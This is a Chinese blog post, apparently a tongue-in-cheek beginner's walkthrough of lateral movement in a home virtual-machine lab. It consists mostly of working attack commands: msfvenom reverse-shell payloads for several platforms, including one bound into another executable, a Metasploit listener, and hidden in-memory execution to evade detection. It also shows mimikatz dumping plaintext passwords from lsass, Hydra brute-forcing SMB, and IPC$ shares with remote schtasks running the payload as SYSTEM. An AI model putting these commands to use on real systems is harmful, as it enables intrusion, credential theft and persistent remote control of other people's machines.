遐想流横向小技巧

​   前言:

​最近有一点点忙,快过年了,最近也接触到了我入行以来的第一次红队项目,虽然最后还是拉稀了,但是看到大家都没啥成果,我的心顿时舒服了不少......

  这次的学习让我认识到了自己的不足,也让我明白了还是要继续学习,这一次的红队项目大家都没能成功进行内网漫游,但是我和他们不一样,在他们还在猛攻web的时候我已经开始提权了,当他们还在想怎么找其他的资产的时候我已经开始横向了,好吧,我承认这都是我凭空想象的,我称之为----“遐想流-最强无用之终极奥义之漏洞扫描专家”

  经过我不断地想象,在我连续换了三个枕头和睡姿之后,我终于成功的漫游了,没错,在睡梦中我漫游了,从我家床上漫游到了我家的地板上......

  好啦,首先我们进入到今天的正题,这是一次十分基础的文章,仅供小白参考,大佬勿扰

    此次运用到的技术总结如下:

    1. msfvenom 生成马子

    2. msfconsole 监听、上马以及一些小技巧

    3. mimikatz的获取hash密码的两种方式

    4. hydra进行协议口令爆破

​    ​5. 创建IPC$

​    ​6. 创建计划任务​

生成监听马子

-p, --payload <payload> 指定需要使用的payload(攻击荷载)。

-l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all

-n, --nopsled <length> 为payload预先指定一个NOP滑动长度

-f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)

-e, --encoder [encoder] 指定需要使用的encoder(编码器)

-a, --arch <architecture> 指定payload的目标架构,这里x86是32位,x64是64位 -platform <platform> 指定payload的目标平台

-s, --space <length> 设定有效攻击荷载的最大长度

-b, --bad-chars <list> 设定规避字符集

-i, --iterations <count> 指定payload的编码次数

-c, --add-code <path> 指定一个附加的win32 shellcode文件

-x, --template <path> 指定一个自定义的可执行文件作为模板

-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行 --payload-options 列举payload的标准选项

-o, --out <path> 保存payload

-v, --var-name <name> 指定一个自定义的变量,以确定输出格式

--shellest 最小化生成payload

-h, --help 查看帮助选项 --help-formats 查看msf支持的输出格式列表

这里举出一些利用msfvenom生成shell的命令:

Linux:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Windows:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

PHP:

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php

cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

JSP:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

Python:

msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

Bash:

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

Perl:

msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl​

此次实验的是,一台kali虚拟机,三台windows虚拟机环境,假装自己通过kali虚拟机拿下了其中一台windows虚拟机而后进行简单的横向演示,纯新手演示,大佬勿喷

遐想流横向小技巧

我这里使用的是:

msfvenom -p windows/meterpreter_reverse_tcp LHOST=监听地址 LPORT=监听端口 -f exe -o xiaokui1.exe  -x xiaokui.exe​

这条命令是生成一个马子,监听地址为本机地址,-f 指定​类型,-x 指定捆绑文件 -o 保存的文件名

遐想流横向小技巧
接下来进入msfconsole进入监听模式

msfconsole

msfconsole  进入

use exploit/multi/handler 固定格式

set payload windows/meterpreter/reverse_tcp固定格式

set lhost 192.168.43.213​   本机ip

set lport 4444   监听端口

Exploit 攻击

遐想流横向小技巧
将马子传入值 192.168.43.144 windows主机后运行即可上马,假装自己是通过漏洞传上去的(狗头狗头)​
遐想流横向小技巧
上马之后进入到我们的后渗透阶段,因为meterpreter与系统命令还是有一丢丢小区别的,相信大家也看到了,直接执行系统命令是不行的

常见的可以直接执行的操作系统文件命令如下:

1. 查看文件内容

cat 文件目录\文件名

2. 删除指定的文件:

del 文件目录\文件名     

3. 上传文件到目标机主上,

upload 攻击者文件目录/文件名 受害者文件目录\ 

4. 下载文件到本机上:

download 文件目录\文件名 /root/Desktop/ 

5. 编辑文件:

edit c:\boot.ini 

6. 列出在当前目录中的文件列表

ls/dir

7. 进入目录文件下

cd c:\\

8. 删除文件

rm file

9. 在受害者系统上的创建目录

mkdir dier

10. 受害者系统上删除目录

rmdir​

11. 修改目标主机上的文件名

mv

14. 用户登录数

​enumdesktops     

执行此命令可进入cmd交互,实际上直接输入shell也可以

execute  -H -i -f cmd.exe

遐想流横向小技巧
execute 命令如下

-H  创建隐藏在视图之外的流程。

-a  <opt>传递给命令的参数。
​
-c  通道化I/O(交互所需)。

-d  <opt>使用-m时要启动的“虚拟”可执行文件。

-f  <opt>要运行的可执行命令。

-h  帮助菜单。

-i  创建流程后,我会与流程进行交互。

-k  在MeterMeters当前桌面上执行进程

-m  从内存中执行。

-s  <opt>以会话用户的身份在给定会话中执行进程

-t  使用当前模拟的线程令牌执行进程

骚姿势来了,由于直接执行的马子容易被察觉,所以可以进行隐秘性极好的远程加载,马子不直接传入受害机,且进程名字可以进行隐藏

execute  -H -m -d notepad.exe -f  /root/xiaokui2.exe -a "-o xiaokui2.txt"

虽然失败了,但是可能是环境问题

遐想流横向小技巧

使用mimikatz获取明文密码

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords

其实米米卡兹获取密码有两个方式,一个是在线读取,一个是离线读取,在线读取需要将米米卡兹上传至目标主机内,这样的话当然会被杀毒软件给杀了,所以需要进行免杀操作,我当然不会免杀了,所以推荐大家使用第二种方式,离线读取。

​我先讲解在线获取哈,这里由于还不知道密码,所以不能直接登录到目标主机上,由于新建用户会留下很多日志后期不好清理,所以这里直接使用meterpreter进行读取
遐想流横向小技巧
遐想流横向小技巧
成功获取明文密码,别问我为啥是123456,因为太复杂怕不是解不开
遐想流横向小技巧

使用米米卡兹进行离线读取

进入目标主机的任务管理器,找到 lsass.dmp文件,单击右键,进行创建转储文件

遐想流横向小技巧
遐想流横向小技巧
使用米米卡兹读取lsass.dmp文件

sekurlsa::minidump ​C:\Users\Administrator\AppData\Local\Temp\lsass.DMP

如果看到 Seitch to MINIDUMP 说明加载成功,而后直接执行
遐想流横向小技巧
输入

sekurlsa::logonPasswords full

遐想流横向小技巧
密码获取完毕

本来想来个横向演示的,后来想起来其他的虚机密码都不是弱口令,改起来还不想改,就不拿他们演示了,就假装这台受害机是另一台内网内目标好啦

Hydra密码爆破​

首先当然是先nmap查看一下端口状态​
遐想流横向小技巧
不难发现此时开放了139/445端口

可以利用hydra进行协议smb爆破,命令如下​

hydra -l administrator -P /usr/share/nmap/nselib/data/passwords.lst smb://192.168.43.144

遐想流横向小技巧

IPC的建立

net use \\192.168.43.144\ipc$ "123456" /user:administrator​

kali的net use建立管道的命令由于系统的差异性,所以此时使用另一台windows虚机进行操作​
遐想流横向小技巧
查看当前连接

net use​

遐想流横向小技巧
查看目标机C盘目录

dir \\192.168.43.157\c$

遐想流横向小技巧
查看目标机进程

tasklist /S 192.168.43.144 /U administrator /P 123456

遐想流横向小技巧
将小马子复制进目标机

copy J:\xiaokui1.exe \\192.168.43.144\C$

遐想流横向小技巧

创建计划任务

这里我分享两种创建方式

方式一:

使用at方式创建计划任务

查看目标机当前时间,这一步是为了设置计划任务执行时间,因为有些主机时间与我们真实机是有差异的

net time \\192.168.43.144

遐想流横向小技巧
创建at计划任务

at \192.168.43.144 9 13:31:00 C:\xiaokui1.exe Added a new job with job ID = 100
遐想流横向小技巧
这就没办法了,命令是没问题的,但是在我这个虚机里at被弃用了,可恶啊,那么直接进行方案2

方式二:

schtasks命令

schtasks /create /s 192.168.43.144 /u administrator /p 123456 /ru "SYSTEM" /tn test /sc DAILY /tr c:\xiaokui1.exe /F  

创建计划任务,/s 指定远程机器名或 ip 地址,/ru 指定运行任务的用户权限,这里指定
为最高的 SYSTEM,/tn 是任务名称,/sc 是任务运行频率,这里指定为每天运行,并没什么
实际意义,/tr 指定运行的文件,/F 表示如果指定的任务已经存在,则强制创建任务并抑制
遐想流横向小技巧
立即执行计划任务

schtasks /run /s 192.168.43.144 /u administrator /p 123456 /tn test /i

遐想流横向小技巧
可以看到,肉鸡上线了
遐想流横向小技巧
需要说的是,其实创建schtasks命令不需要使用用户名密码,因为创建ipc$已经简历成功,不过一般情况下我还是喜欢使用的

删除计划任务命令如下:

schtasks /delete /s 192.168.43.144 /tn "test" /f

删除ipc$命令如下:

net use \\192.168.43.144\ips$ /del 

最后在我的幻想下,我直接用弱口令打穿了内网,然后拿出了我用了十年的内核溢出提权马将所有的权限都提升到了root和system权限​,又删除了日志留下了后门和不落地马子之后,潇洒的提交了报告。

我成功的得到了公司和客户的高度认可,并赠予我2022年度最佳做梦小能手的称号,同时提名为中国梦之幻想队称号,也没什么可说的,我相信大家只要多多吃花生喝啤酒,再去拼夕夕买个枕头,也一定有机会做一个这么牛逼的梦的,好了,今天做梦结束了,承让了各位​

上一篇:jmeter跨线程组调用


下一篇:jmeter录制脚本